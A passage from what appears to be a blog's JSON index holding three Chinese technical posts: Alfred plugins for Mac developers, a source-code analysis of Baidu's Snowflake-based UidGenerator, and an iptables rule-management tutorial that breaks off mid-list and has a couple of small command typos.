Alfred, 这个一般 mac 用户都装过，然后安装插件 ：https://github.com/LeEnno/alfred-terminalfinder\n你可以在终端和文件夹自由切换了\nft: open current Finder directory in Terminal tf: open current Terminal directory in Finder fi: open current Finder directory in iTerm if: open current iTerm directory in Finder 下面这些命令需要安装 Path Finder :https://cocoatech.com/#/\npt: open current Path Finder directory in Terminal tp: open current Terminal directory in Path Finder pi: open current Path Finder directory in iTerm ip: open current iTerm directory in Path Finder Alfred gitlab 插件 这是一个 Alfred 的插件：https://github.com/lukewaite/alfred-gitlab\n配置完你司的 gitlab 仓库 token 后，就可以在 Alfred 中使用了，再也不用打开浏览器然后搜索项目了，直接在 Alfred 中输入 gl 即可。\n","date":"2021-11-06T03:12:08Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-06-ji-ge-zai-mac-dian-nao-shang-ti-gao-cheng-xu-yuan-kai-fa-xia/cover.jpg","permalink":"/p/2021-11-06-ji-ge-zai-mac-dian-nao-shang-ti-gao-cheng-xu-yuan-kai-fa-xia/","title":"几个在 Mac 电脑上提高程序员开发效率的小工具"},{"content":"简介 先来看一下官方介绍：\n雪花算法 “\n雪花算法（Snowflake）是一种生成分布式全局唯一 ID 的算法，生成的 ID 称为 Snowflake IDs 或 snowflakes。这种算法由 Twitter 创建，并用于推文的 ID。Discord 和 Instagram 等其他公司采用了修改后的版本。一个 Snowflake ID 有 64 位。前 41 位是时间戳，表示了自选定的时期以来的毫秒数。接下来的 10 位代表计算机 ID，防止冲突。其余 12 位代表每台机器上生成 ID 的序列号，这允许在同一毫秒内创建多个 Snowflake ID。SnowflakeID 基于时间生成，故可以按时间排序。此外，一个 ID 的生成时间可以由其自身推断出来，反之亦然。该特性可以用于按时间筛选 ID，以及与之联系的对象。\n”\n第 1 位\n该位不用主要是为了保持 ID 的自增特性，若使用了最高位，int64 会表示为负数。在 Java 中由于 long 类型的最高位是符号位，正数是 0，负数是 1，一般生成的 ID 为正整数，所以最高位为 0\n41 位时间戳\n毫秒级的时间，一般实现上不会存储当前的时间戳，而是时间戳的差值（当前时间减去固定的开始时间），这样可以使产生的 ID 从更小值开始；\n41 bit 可以表示的数字多达 2^41 - 1，也就是可以标识 2 ^ 41 - 1 个毫秒值，换算成年就是表示 69 年的时间。\n(1L \u0026laquo; 41) / (1000L 60 60 24 365) = (2199023255552 / 31536000000) ≈ 69.73 年。\n10 位工作机器 ID\nTwitter 实现中使用前 5 位作为数据中心标识，后 5 位作为机器标识，可以部署 1024 （2^10）个节点。意思就是最多代表 2 ^ 5 个机房（32 个机房），每个机房里可以代表 2 ^ 5 个机器（32 台机器）。具体的分区可以根据自己的需要定义。比如拿出 4 位标识业务号，其他 6 位作为机器号。\n12 位序列号\n支持同一毫秒内同一个节点可以生成 4096 （2^12）个 ID，也就是同一毫秒内同一台机器所生成的最大 ID 数量为 4096。\n简单来说，你的某个服务假设要生成一个全局唯一 id，那么就可以发送一个请求给部署了 SnowFlake 算法的系统，由这个 SnowFlake 算法系统来生成唯一 id。这个 SnowFlake 算法系统首先肯定是知道自己所在的机器号，（这里姑且讲 10bit 全部作为工作机器 ID）接着 SnowFlake 算法系统接收到这个请求之后，首先就会用二进制位运算的方式生成一个 64 bit 的 long 型 id，64 个 bit 中的第一个 bit 是无意义的。接着用当前时间戳（单位到毫秒）占用 41 个 bit，然后接着 10 个 bit 设置机器 id。最后再判断一下，当前这台机房的这台机器上这一毫秒内，这是第几个请求，给这次生成 id 的请求累加一个序号，作为最后的 12 个 bit。\n优点：\n理论上 Snowflake 方案的 QPS 约为 409.6w/s（1000 * 2^12），这种分配方式可以保证在任何一个 IDC 的任何一台机器在任意毫秒内生成的 ID 都是不同的。 缺点\n强依赖机器时钟，如果机器上时钟回拨，会导致发号重复或者服务会处于不可用状态。 UidGenerator “\nUidGenerator 是 Java 实现的，基于 Snowflake 算法的唯一 ID 生成器。UidGenerator 以组件形式工作在应用项目中，支持自定义 workerId 位数和初始化策略，从而适用于 docker 等虚拟化环境下实例自动重启、漂移等场景。在实现上，UidGenerator 通过借用未来时间来解决 sequence 天然存在的并发限制；采用 RingBuffer 来缓存已生成的 UID, 并行化 UID 的生产和消费，同时对 CacheLine 补齐，避免了由 RingBuffer 带来的硬件级「伪共享」问题。最终单机 QPS 可达 600 万。\n”\nUidGenerator 的实现跟 SnowFlake 原始算法不太一样，不过以下参数均可通过 Spring 进行自定义：\nsign(1bit) 固定 1bit 符号标识，即生成的 UID 为正数。 delta seconds (28 bits) 当前时间，相对于时间基点\u0026quot;2016-05-20\u0026quot;的增量值，单位：秒，最多可支持约 8.7 年 worker id (22 bits) 机器 id，最多可支持约 420w 次机器启动。内置实现为在启动时由数据库分配，默认分配策略为用后即弃，后续可提供复用策略。 sequence (13 bits) 每秒下的并发序列，13 bits 可支持每秒 8192 个并发。 RingBuffer 环形数组，数组每个元素成为一个 slot。RingBuffer 容量，默认为 Snowflake 算法中 sequence 最大值，且为 2^N。可通过 boostPower 配置进行扩容，以提高 RingBuffer 读写吞吐量。\nTail 指针、Cursor 指针用于环形数组上读写 slot：\nTail 指针 表示 Producer 生产的最大序号（此序号从 0 开始，持续递增）。Tail 不能超过 Cursor，即生产者不能覆盖未消费的 slot。当 Tail 已赶上 curosr，此时可通过 rejectedPutBufferHandler 指定 PutRejectPolicy\nCursor 指针 表示 Consumer 消费到的最小序号（序号序列与 Producer 序列相同）。Cursor 不能超过 Tail，即不能消费未生产的 slot。当 Cursor 已赶上 tail，此时可通过 rejectedTakeBufferHandler 指定 TakeRejectPolicy\nCachedUidGenerator 采用了双 RingBuffer，Uid-RingBuffer 用于存储 Uid、Flag-RingBuffer 用于存储 Uid 状态 (是否可填充、是否可消费)\n由于数组元素在内存中是连续分配的，可最大程度利用 CPU cache 以提升性能。但同时会带来「伪共享」FalseSharing 问题，为此在 Tail、Cursor 指针、Flag-RingBuffer 中采用了 CacheLine 补齐方式。\n关于更多伪共享的知识，可以参考：https://www.cnblogs.com/cyfonly/p/5800758.html，\n总结来说，伪共享会导致性能问题，解决了能提升性能，就算不解决也不会出现数据不一致等严重的问题。\nRingBuffer 填充时机\n初始化预填充 RingBuffer 初始化时，预先填充满整个 RingBuffer.\n即时填充 Take 消费时，即时检查剩余可用 slot 量 (tail - cursor)，如小于设定阈值，则补全空闲 slots。阈值可通过 paddingFactor 来进行配置\n周期填充 通过 Schedule 线程，定时补全空闲 slots。可通过 scheduleInterval 配置，以应用定时填充功能，并指定 Schedule 时间间隔\n源码分析 概况 整个项目共 2386 行 java 代码 代码内部 class 的依赖结构是这样的：\n可见 RingBuffer 是个核心类。\n目录结构 1 com 2 └── baidu 3 └── fsg 4 └── uid 5 ├── BitsAllocator.java - Bit 分配器 (C) 6 ├── UidGenerator.java - UID 生成的接口 (I) 7 ├── buffer 8 │ ├── BufferPaddingExecutor.java - 填充 RingBuffer 的执行器 (C) 9 │ ├── BufferedUidProvider.java - RingBuffer 中 UID 的提供者 (C) 10 │ ├── RejectedPutBufferHandler.java - 拒绝 Put 到 RingBuffer 的处理器 (C) 11 │ ├── RejectedTakeBufferHandler.java - 拒绝从 RingBuffer 中 Take 的处理器 (C) 12 │ └── RingBuffer.java - 内含两个环形数组 (C) 13 ├── exception 14 │ └── UidGenerateException.java - 运行时异常 15 ├── impl 16 │ ├── CachedUidGenerator.java - RingBuffer 存储的 UID 生成器 (C) 17 │ └── DefaultUidGenerator.java - 无 RingBuffer 的默认 UID 生成器 (C) 18 ├── utils 19 │ ├── DateUtils.java 20 │ ├── DockerUtils.java 21 │ ├── EnumUtils.java 22 │ ├── NamingThreadFactory.java 23 │ ├── NetUtils.java 24 │ ├── PaddedAtomicLong.java 25 │ └── ValuedEnum.java 26 └── worker 27 ├── DisposableWorkerIdAssigner.java - 用完即弃的 WorkerId 分配器 (C) 28 ├── WorkerIdAssigner.java - WorkerId 分配器 (I) 29 ├── WorkerNodeType.java - 工作节点类型 (E) 30 ├── dao 31 │ └── WorkerNodeDAO.java - MyBatis Mapper 32 └── entity 33 └── WorkerNodeEntity.java - MyBatis Entity DefaultUidGenerator UidGenerator 在应用中是以 Spring 组件的形式提供服务，DefaultUidGenerator 提供了最简单的 Snowflake 式的生成模式，没有使用任何缓存来预存 UID，在需要生成 ID 的时候即时进行计算。\n所以我们结合源码来串一下最简单的默认生成模式的流程。\n首先引入DefaultUidGenerator配置\n1\u0026lt;!-- DefaultUidGenerator --\u0026gt; 2\u0026lt;bean id=\u0026#34;defaultUidGenerator\u0026#34; class=\u0026#34;com.baidu.fsg.uid.impl.DefaultUidGenerator\u0026#34; lazy-init=\u0026#34;false\u0026#34;\u0026gt; 3 \u0026lt;property name=\u0026#34;workerIdAssigner\u0026#34; ref=\u0026#34;disposableWorkerIdAssigner\u0026#34;/\u0026gt; 4 5 \u0026lt;!--当前时间位数，前文图上是 28 位，这里设置 29 位 --\u0026gt; 6 \u0026lt;property name=\u0026#34;timeBits\u0026#34; value=\u0026#34;29\u0026#34;/\u0026gt; 7 \u0026lt;!-- 机器 id 位数，设置 21 位 --\u0026gt; 8 \u0026lt;property name=\u0026#34;workerBits\u0026#34; value=\u0026#34;21\u0026#34;/\u0026gt; 9 \u0026lt;!-- 每秒下的并发序列位数，13 bits 可支持每秒 8192 个并发 --\u0026gt; 10 \u0026lt;property name=\u0026#34;seqBits\u0026#34; value=\u0026#34;13\u0026#34;/\u0026gt; 11 \u0026lt;!-- 相对于时间基点\u0026#34;2016-09-20\u0026#34;的增量值，单位是秒 --\u0026gt; 12 \u0026lt;!-- 用于计算时间戳的差值（当前时间减去固定的开始时间），这样可以使产生的 ID 从更小值开始--\u0026gt; 13 \u0026lt;property name=\u0026#34;epochStr\u0026#34; value=\u0026#34;2016-09-20\u0026#34;/\u0026gt; 14\u0026lt;/bean\u0026gt; 15 16\u0026lt;!-- 用完即弃的 WorkerIdAssigner，依赖 DB 操作 --\u0026gt; 17\u0026lt;bean id=\u0026#34;disposableWorkerIdAssigner\u0026#34; class=\u0026#34;com.baidu.fsg.uid.worker.DisposableWorkerIdAssigner\u0026#34; /\u0026gt; 配置文件中的配置我都作了注释，这里重点说两个属性：\nepochStr\n是给一个过去时间的字符串，作为时间基点，比如\u0026quot;2016-09-20\u0026quot;，用于计算时间戳的差值（当前时间减去固定的开始时间），这样可以使产生的 ID 从更小值开始。这点从以下的两段源码可以看出来：\n1public void setEpochStr(String epochStr) { 2 if (StringUtils.isNotBlank(epochStr)) { 3 this.epochStr = epochStr; 4 this.epochSeconds = TimeUnit.MILLISECONDS.toSeconds(DateUtils.parseByDayPattern(epochStr).getTime()); 5 } 6} 7 /** 8 * Get current second 9 */ 10private long getCurrentSecond() { 11 long currentSecond = TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis()); 12 if (currentSecond - epochSeconds \u0026gt; bitsAllocator.getMaxDeltaSeconds()) { 13 throw new UidGenerateException(\u0026#34;Timestamp bits is exhausted. Refusing UID generate. Now: \u0026#34; + currentSecond); 14 } 15 16 return currentSecond; 17} disposableWorkerIdAssigner\nWorker ID 分配器，用于为每个工作机器分配一个唯一的 ID，目前来说是用完即弃，在初始化 Bean 的时候会自动向 MySQL 中插入一条关于该服务的启动信息，待 MySQL 返回其自增 ID 之后，使用该 ID 作为工作机器 ID 并柔和到 UID 的生成当中。\n1@Transactional 2public long assignWorkerId() { 3 // build worker node entity 4 WorkerNodeEntity workerNodeEntity = buildWorkerNode(); 5 6 // add worker node for new (ignore the same IP + PORT) 7 workerNodeDAO.addWorkerNode(workerNodeEntity); 8 LOGGER.info(\u0026#34;Add worker node:\u0026#34; + workerNodeEntity); 9 10 return workerNodeEntity.getId(); 11} buildWorkerNode() 为获取该启动服务的信息，兼容 Docker 服务。但要注意，无论是 docker 还是用 k8s，需要添加相关的环境变量 env 在配置文件中以便程序能够获取到。\n1 /** Environment param keys 主要是端口和 host */ 2 private static final String ENV_KEY_HOST = \u0026#34;JPAAS_HOST\u0026#34;; 3 private static final String ENV_KEY_PORT = \u0026#34;JPAAS_HTTP_PORT\u0026#34;; 核心方法\n介绍完上面这些，我们来看下 defaultUidGenerator 生成 ID 的核心方法（注意这个方法是同步方法）\n1 protected synchronized long nextId() { 2 3 long currentSecond = getCurrentSecond(); 4 5 // 时钟向后移动，拒绝生成 id （解决时钟回拨问题） 6 if (currentSecond \u0026lt; lastSecond) { 7 long refusedSeconds = lastSecond - currentSecond; 8 throw new UidGenerateException(\u0026#34;Clock moved backwards. Refusing for %d seconds\u0026#34;, refusedSeconds); 9 } 10 11 // 如果是在同一秒内，那么增加 sequence 12 if (currentSecond == lastSecond) { 13 sequence = (sequence + 1) \u0026amp; bitsAllocator.getMaxSequence(); 14 // 如果超过了最大值，那么需要等到下一秒再进行生成 15 if (sequence == 0) { 16 currentSecond = getNextSecond(lastSecond); 17 } 18 19 // 不同秒的情况下，sequence 重新从 0 开始计数 20 } else { 21 sequence = 0L; 22 } 23 lastSecond = currentSecond; 24 // Allocate bits for UID 25 return bitsAllocator.allocate(currentSecond - epochSeconds, workerId, sequence); 26} 可以看到大部分代码用来处理异常情况，比如时钟回拨问题，这里的做法比较简单，就是直接抛出异常。\n最后一行才是根据传入的或计算好的参数进行 ID 的真正分配，通过二进制的移位和或运算得到最终的 long ID 值。\n1 public long allocate(long deltaSeconds, long workerId, long sequence) { 2 3 return (deltaSeconds \u0026lt;\u0026lt; timestampShift) | (workerId \u0026lt;\u0026lt; workerIdShift) | sequence; 4} CachedUidGenerator CachedUidGenerator 是一个使用 RingBuffer 预先缓存 UID 的生成器，在初始化时就会填充整个 RingBuffer，并在 take() 时检测到少于指定的填充阈值之后就会异步地再次填充 RingBuffer（默认值为 50%），另外可以启动一个定时器周期性检测阈值并及时进行填充。\nRingBuffer\n上文提到 RingBuffer 是预先缓存 UID 的生成器，我们先看下它的成员变量情况：\n1 /** 常量配置 */ 2 private static final int START_POINT = -1; 3 private static final long CAN_PUT_FLAG = 0L; 4 private static final long CAN_TAKE_FLAG = 1L; 5 public static final int DEFAULT_PADDING_PERCENT = 50; 6 7 /** RingBuffer 的 slot 的大小，每个 slot 持有一个 UID */ 8 private final int bufferSize; 9 private final long indexMask; 10 /** 存 UID 的数组 */ 11 private final long[] slots; 12 /** 存放 UID 状态的数组（是否可读或者可写，或是否可填充、是否可消费） */ 13 private final PaddedAtomicLong[] flags; 14 15 /** Tail: 要产生的最后位置序列 */ 16 private final AtomicLong tail = new PaddedAtomicLong(START_POINT); 17 /** Cursor: 要消耗的当前位置序列 */ 18 private final AtomicLong cursor = new PaddedAtomicLong(START_POINT); 19 20 /** 触发填充缓冲区的阈值 */ 21 private final int paddingThreshold; 22 23 /** 放置 缓冲区的拒绝策略 拒绝方式为打印日志 */ 24 private RejectedPutBufferHandler rejectedPutHandler = this::discardPutBuffer; 25 /** 获取 缓冲区的拒绝策略 拒绝方式为抛出异常并打印日志 */ 26 private RejectedTakeBufferHandler rejectedTakeHandler = this::exceptionRejectedTakeBuffer; 27 28 /** 填充缓冲区的执行者 */ 29 private BufferPaddingExecutor bufferPaddingExecutor; 可以看到 RingBuffer 内部有两个环形数组，一个用来存放 UID，一个用来存放 UID 的状态，这两个数组的大小都是一样的，也就是 bufferSize。\nslots 用于存放 UID 的 long 类型数组，flags 的用于存放读写标识的 PaddedAtomicLong 类型数组。这什么用 PaddedAtomicLong？上文有提到过伪共享的概念，这里就是为了解决这个问题，如果对 伪共享 还不太理解的朋友可以看一下上文的参考链接理解一下。\n简单讲，由于 slots 实质是属于多读少写的变量，所以使用原生类型的收益更高。而 flags 则是会频繁进行写操作，为了避免伪共享问题所以手工进行补齐。\nRingBuffer 构造方法\n1 2 /** 3 * 具有缓冲区大小的构造函数，paddingFactor 默认为 {@value #DEFAULT_PADDING_PERCENT} 4 * 5 * @param bufferSize 必须是正数和 2 的幂 6 */ 7 public RingBuffer(int bufferSize) { 8 this(bufferSize, DEFAULT_PADDING_PERCENT); 9 } 10 11 /** 12 * 具有缓冲区大小和填充因子的构造函数 13 * 14 * @param bufferSize 必须是正数和 2 的幂 15 * @param paddingFactor (0 - 100) 中的百分比。当剩余可用的 UID 数量达到阈值时，将触发填充缓冲区 16 * Sample: paddingFactor=20, bufferSize=1000 -\u0026gt; threshold=1000 * 20 /100, 17 * 当 tail-cursor\u0026lt;threshold 时将触发填充缓冲区 18 */ 19 public RingBuffer(int bufferSize, int paddingFactor) { 20 // check buffer size is positive \u0026amp; a power of 2; padding factor in (0, 100) 21 Assert.isTrue(bufferSize \u0026gt; 0L, \u0026#34;RingBuffer size must be positive\u0026#34;); 22 Assert.isTrue(Integer.bitCount(bufferSize) == 1, \u0026#34;RingBuffer size must be a power of 2\u0026#34;); 23 Assert.isTrue(paddingFactor \u0026gt; 0 \u0026amp;\u0026amp; paddingFactor \u0026lt; 100, \u0026#34;RingBuffer size must be positive\u0026#34;); 24 25 this.bufferSize = bufferSize; 26 this.indexMask = bufferSize - 1; 27 this.slots = new long[bufferSize]; 28 this.flags = initFlags(bufferSize); 29 30 this.paddingThreshold = bufferSize * paddingFactor / 100; 31 } bufferSize 的默认值 ，如果 sequence 是 13 位，那么默认最大值是 8192，且是支持扩容的。\n触发填充缓冲区的阈值也是支持配置的，\n1\u0026lt;!-- RingBuffer size 扩容参数，可提高 UID 生成的吞吐量。--\u0026gt; 2\u0026lt;!-- 默认：3， 原 bufferSize=8192, 扩容后 bufferSize= 8192 \u0026lt;\u0026lt; 3 = 65536 --\u0026gt; 3\u0026lt;property name=\u0026#34;boostPower\u0026#34; value=\u0026#34;3\u0026#34;\u0026gt;\u0026lt;/property\u0026gt; 4 5\u0026lt;!-- 指定何时向 RingBuffer 中填充 UID, 取值为百分比 (0, 100), 默认为 50 --\u0026gt; 6\u0026lt;!-- 举例：bufferSize=1024, paddingFactor=50 -\u0026gt; threshold=1024 * 50 / 100 = 512. --\u0026gt; 7\u0026lt;!-- 当环上可用 UID 数量 \u0026lt; 512 时，将自动对 RingBuffer 进行填充补全 --\u0026gt; 8\u0026lt;property name=\u0026#34;paddingFactor\u0026#34; value=\u0026#34;50\u0026#34;\u0026gt;\u0026lt;/property\u0026gt; RingBuffer 的填充和获取\nRingBuffer 的填充和获取操作是线程安全的，但是填充和获取操作的性能会受到 RingBuffer 的大小的影响，先来看下 put 操作：\n1 public synchronized boolean put(long uid) { 2 long currentTail = tail.get(); 3 long currentCursor = cursor.get(); 4 5 // 当 tail 追上了 cursor 时，表示 RingBuffer 满了，不能再放了 6 // Tail 不能超过 Cursor，即生产者不能覆盖未消费的 slot。当 Tail 已赶上 curosr，此时可通过 rejectedPutBufferHandler 指定 PutRejectPolicy 7 long distance = currentTail - (currentCursor == START_POINT ? 0 : currentCursor); 8 if (distance == bufferSize - 1) { 9 rejectedPutHandler.rejectPutBuffer(this, uid); 10 return false; 11 } 12 13 // 1. 预检查 flag 是否为 CAN_PUT_FLAG，首次 put 时，currentTail 为-1 14 int nextTailIndex = calSlotIndex(currentTail + 1); 15 if (flags[nextTailIndex].get() != CAN_PUT_FLAG) { 16 rejectedPutHandler.rejectPutBuffer(this, uid); 17 return false; 18 } 19 // 2. put UID in the next slot 20 slots[nextTailIndex] = uid; 21 // 3. update next slot\u0026#39; flag to CAN_TAKE_FLAG 22 flags[nextTailIndex].set(CAN_TAKE_FLAG); 23 // 4. publish tail with sequence increase by one 移动 tail 24 tail.incrementAndGet(); 25 26 27 // 上述操作的原子性由“synchronized”保证。换句话说 28 // take 操作不能消费我们刚刚放的 UID，直到 tail 移动 (tail.incrementAndGet()) 才可以 29 return true; 30 } 注意 put 方法是 synchronized。再来看下 take 方法：\nUID 的读取是一个无锁的操作。在获取 UID 之前，还要检查是否达到了 padding 阈值，在另一个线程中会触发 padding buffer 操作，如果没有更多可用的 UID 可以获取，则应用指定的 RejectedTakeBufferHandler\n1 public long take() { 2 // spin get next available cursor 3 long currentCursor = cursor.get(); 4 // cursor 初始化为-1，现在 cursor 等于 tail，所以初始化时 nextCursor 为-1 5 long nextCursor = cursor.updateAndGet(old -\u0026gt; old == tail.get() ? old : old + 1); 6 7 // check for safety consideration, it never occurs 8 // 初始化或者全部 UID 耗尽时 nextCursor == currentCursor 9 Assert.isTrue(nextCursor \u0026gt;= currentCursor, \u0026#34;Curosr can\u0026#39;t move back\u0026#34;); 10 11 // 如果达到阈值，则以异步模式触发填充 12 long currentTail = tail.get(); 13 if (currentTail - nextCursor \u0026lt; paddingThreshold) { 14 LOGGER.info(\u0026#34;Reach the padding threshold:{}. tail:{}, cursor:{}, rest:{}\u0026#34;, paddingThreshold, currentTail, 15 nextCursor, currentTail - nextCursor); 16 bufferPaddingExecutor.asyncPadding(); 17 } 18 19 // cursor 追上 tail ，意味着没有更多可用的 UID 可以获取 20 if (nextCursor == currentCursor) { 21 rejectedTakeHandler.rejectTakeBuffer(this); 22 } 23 24 // 1. check next slot flag is CAN_TAKE_FLAG 25 int nextCursorIndex = calSlotIndex(nextCursor); 26 // 这个位置必须要是可以 TAKE 27 Assert.isTrue(flags[nextCursorIndex].get() == CAN_TAKE_FLAG, \u0026#34;Curosr not in can take status\u0026#34;); 28 29 // 2. get UID from next slot 30 // 3. set next slot flag as CAN_PUT_FLAG. 31 long uid = slots[nextCursorIndex]; 32 // 告知 flags 数组这个位置是可以被重用了 33 flags[nextCursorIndex].set(CAN_PUT_FLAG); 34 35 // 注意：步骤 2，3 不能互换。如果我们在获取 slot 的值之前设置 flag，生产者可能会用新的 UID 覆盖 slot，这可能会导致消费者在一个 ring 中 获取 UID 两次 36 return uid; 37 } BufferPaddingExecutor\n默认情况下，slots 被消费大于 50%的时候进行异步填充，这个填充由 BufferPaddingExecutor 所执行的，下面我们马上看看这个执行者的主要代码。\n1 /** 2 * Padding buffer fill the slots until to catch the cursor 3 * 该方法被即时填充和定期填充所调用 4 */ 5public void paddingBuffer() { 6 LOGGER.info(\u0026#34;Ready to padding buffer lastSecond:{}. {}\u0026#34;, lastSecond.get(), ringBuffer); 7 8 // is still running 9 // 这个是代表填充 executor 在执行，不是 RingBuffer 在执行。避免多个线程同时扩容。 10 if (!running.compareAndSet(false, true)) { 11 LOGGER.info(\u0026#34;Padding buffer is still running. {}\u0026#34;, ringBuffer); 12 return; 13 } 14 15 // fill the rest slots until to catch the cursor 16 boolean isFullRingBuffer = false; 17 while (!isFullRingBuffer) { 18 // 填充完指定 SECOND 里面的所有 UID，直至填满 19 List\u0026lt;Long\u0026gt; uidList = uidProvider.provide(lastSecond.incrementAndGet()); 20 for (Long uid : uidList) { 21 isFullRingBuffer = !ringBuffer.put(uid); 22 if (isFullRingBuffer) { 23 break; 24 } 25 } 26 } 27 28 // not running now 29 running.compareAndSet(true, false); 30 LOGGER.info(\u0026#34;End to padding buffer lastSecond:{}. {}\u0026#34;, lastSecond.get(), ringBuffer); 31} 当线程池分发多条线程来执行填充任务的时候，成功抢夺运行状态的线程会真正执行对 RingBuffer 填充，直至全部填满，其他抢夺失败的线程将会直接返回。\n该类还提供定时填充功能，如果有设置开关则会生效，默认不会启用周期性填充\nRIngBuffer 的填充时机有 3 个：CachedUidGenerator 时对 RIngBuffer 初始化、RIngBuffer#take() 时检测达到阈值和周期性填充（如果有打开）\n使用 RingBuffer 的 UID 生成器\n最后我们看一下利用 CachedUidGenerator 生成 UID 的代码，CachedUidGenerator 继承了 DefaultUidGenerator，实现了 UidGenerator 接口。\n该类在应用中作为 Spring Bean 注入到各个组件中，主要作用是初始化 RingBuffer 和 BufferPaddingExecutor。最重要的方法为 BufferedUidProvider 的提供者，即 lambda 表达式中的 nextIdsForOneSecond(long) 方法。\n1 /** 2 * Get the UIDs in the same specified second under the max sequence 3 * 4 * @param currentSecond 5 * @return UID list, size of {@link BitsAllocator#getMaxSequence()} + 1 6 */ 7 protected List\u0026lt;Long\u0026gt; nextIdsForOneSecond(long currentSecond) { 8 // Initialize result list size of (max sequence + 1) 9 int listSize = (int) bitsAllocator.getMaxSequence() + 1; 10 List\u0026lt;Long\u0026gt; uidList = new ArrayList\u0026lt;\u0026gt;(listSize); 11 12 // Allocate the first sequence of the second, the others can be calculated with the offset 13 long firstSeqUid = bitsAllocator.allocate(currentSecond - epochSeconds, workerId, 0L); 14 for (int offset = 0; offset \u0026lt; listSize; offset++) { 15 uidList.add(firstSeqUid + offset); 16 } 17 18 return uidList; 19 } 获取 ID 是通过委托 RingBuffer 的 take() 方法达成的\n1 @Override 2 public long getUID() { 3 try { 4 return ringBuffer.take(); 5 } catch (Exception e) { 6 LOGGER.error(\u0026#34;Generate unique id exception. \u0026#34;, e); 7 throw new UidGenerateException(e); 8 } 9 } 这里通过时序图再串一下 获取 id 的流程。\n几段位运算代码 判断是不是 2 的幂 利用 bitCount 函数，原理是计算参数传递的 int 值的二进制值有多少个 1，如果只有 1 个，则说明是 2 的幂，否则不是。\n1Integer.bitCount(bufferSize) == 1 根据位数取最大值 1// initialize max value 2this.maxDeltaSeconds = ~(-1L \u0026lt;\u0026lt; timestampBits); 3this.maxWorkerId = ~(-1L \u0026lt;\u0026lt; workerIdBits); 4this.maxSequence = ~(-1L \u0026lt;\u0026lt; sequenceBits); 比较有意思，是用负 1 的二进制先左移再取反，比如看一下 13 和-1 的二进制值就明白了：\n1System.out.println(Long.toBinaryString(-1L)); 2System.out.println(Long.toBinaryString(-1L \u0026lt;\u0026lt; 13 )); 3System.out.println(Long.toBinaryString( ~(-1L \u0026lt;\u0026lt; 13) )); 4 5输出 61111111111111111111111111111111111111111111111111111111111111111 71111111111111111111111111111111111111111111111111110000000000000 81111111111111 parse UID 与上面的有异曲同之处。\n1 // parse UID 2long sequence = (uid \u0026lt;\u0026lt; (totalBits - sequenceBits)) \u0026gt;\u0026gt;\u0026gt; (totalBits - sequenceBits); 3long workerId = (uid \u0026lt;\u0026lt; (timestampBits + signBits)) \u0026gt;\u0026gt;\u0026gt; (totalBits - workerIdBits); 4long deltaSeconds = uid \u0026gt;\u0026gt;\u0026gt; (workerIdBits + sequenceBits); 参考 https://www.cnblogs.com/cyfonly/p/5800758.html http://www.semlinker.com/uuid-snowflake/ https://programmer.group/snowflake-algorithm-improved-version-snowflake.html https://github.com/baidu/uid-generator/blob/master/README.zh_cn.md http://blog.chriscs.com/2017/08/02/baidu-uid-generator/ ","date":"2021-11-05T07:54:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-05-bai-du-uidgenerator-yuan-ma-jie-xi/cover.jpg","permalink":"/p/2021-11-05-bai-du-uidgenerator-yuan-ma-jie-xi/","title":"百度 UidGenerator 源码解析"},{"content":"接上篇 扒一下一直不求甚解的 iptables\n详细文档可以查一下 man 手册\n1# man iptables 也可以查看在线的：https://linux.die.net/man/8/iptables 也有中文的：http://linux.51yip.com/search/iptables 增删改查 查看表中的规则 1iptables -t filter -L 2 3#上面的是查看 filter 表规则，也可以查看其他表的 4#可以省略-t filter，当没有使用-t 选项指定表时，默认为操作 filter 表，即 iptables -L 表示列出 filter 表中的所有规则。 5iptables -t raw -L 6iptables -t mangle -L 7iptables -t nat -L 8 9#我们只查看 filter 表中 INPUT 链的规则 10#查看详细信息 具体含义文档中有，比如 -v 参数就是查看详细信息的意思 11iptables --line-numbers -nvL INPUT 插入表中的规则 规则的顺序很重要\n如果报文已经被前面的规则匹配到，iptables 则会对报文执行对应的动作，即使后面的规则也能匹配到当前报文，很有可能也没有机会再对报文执行相应的动作了，\n1# 插入规则，比如 2iptables -t filter -I INPUT -s 192.168.1.146 -j DROP 3 4# 在尾部追加 5iptables -t filter -A INPUT -s 192.168.1.146 -j DROP 6 7# 根据规则编号位置插入 8iptables -t filter -A INPUT 2 -s 192.168.1.146 -j DROP 上面命令中\n使用 -t 选项指定了要操作的表，此处指定了操作 filter 表，与之前的查看命令一样，不使用-t 选项指定表时，默认为操作 filter 表。 使用-I 选项，指明将”规则”插入至哪个链中，-I 表示 insert，即插入的意思，所以-I INPUT 表示将规则插入于 INPUT 链中，即添加规则之意。 使用-s 选项，指明”匹配条件”中的”源地址”，即如果报文的源地址属于-s 对应的地址，那么报文则满足匹配条件，-s 为 source 之意，表示源地址。 使用-j 选项，指明当”匹配条件”被满足时，所对应的动作，上例中指定的动作为 DROP，在上例中，当报文的源地址为 192.168.1.146 时，报文则被 DROP（丢弃） 删除表中的规则 1# 按编号删除 2iptables -t filter -D INPUT 3 3# 根据具体的匹配条件与动作去删除规则 4iptables -D INPUT -s 192.168.1.146 -j ACCEPT 5 6# 删除指定表中某条链中的所有规则 iptables -t 表名 -F 链名 7# -F 选项为 flush 之意，即冲刷指定的链，即删除指定链中的所有规则 8iptables -t filter -F INPUT 9 10# 清空整个表中所有链上的规则 iptables -t 表名 -F （慎用） 修改表中的规则 1 2# 修改某条规则中的动作 3# 注意：-s 选项以及对应的源地址不可省略 4# 但是在使用-R 选项修改某个规则时，必须指定规则对应的原本的匹配条件（如果有多个匹配条件，都需要指定） 5iptables -t filter -R INPUT 1 -s 192.168.1.146 -j REJECT 每张表的每条链中，都有自己的默认策略，我们也可以理解为默认”动作” 当报文没有被链中的任何规则匹配到时，或者，当链中没有任何规则时，防火墙会按照默认动作处理报文，我们可以修改指定链的默认策略，使用如下命令即可。\n1# 修改指定链的”默认策略” -P FORWARD DROP 表示将表中 FORWRD 链的默认策略改为 DROP 2iptables -t filter -p FORWARD DROP 保存规则 在默认的情况下，我们对”防火墙”所做出的修改都是”临时的”，换句话说就是，当重启 iptables 服务或者重启服务器以后，我们平常添加的规则或者对规则所做出的修改都将消失，为了防止这种情况的发生，我们需要将规则”保存”。\n1#centos6 2service iptables save 3 4#centos7 5 6#配置好 yum 源以后安装 iptables-service 7yum install -y iptables-services 8#停止 firewalld 9systemctl stop firewalld 10#禁止 firewalld 自动启动 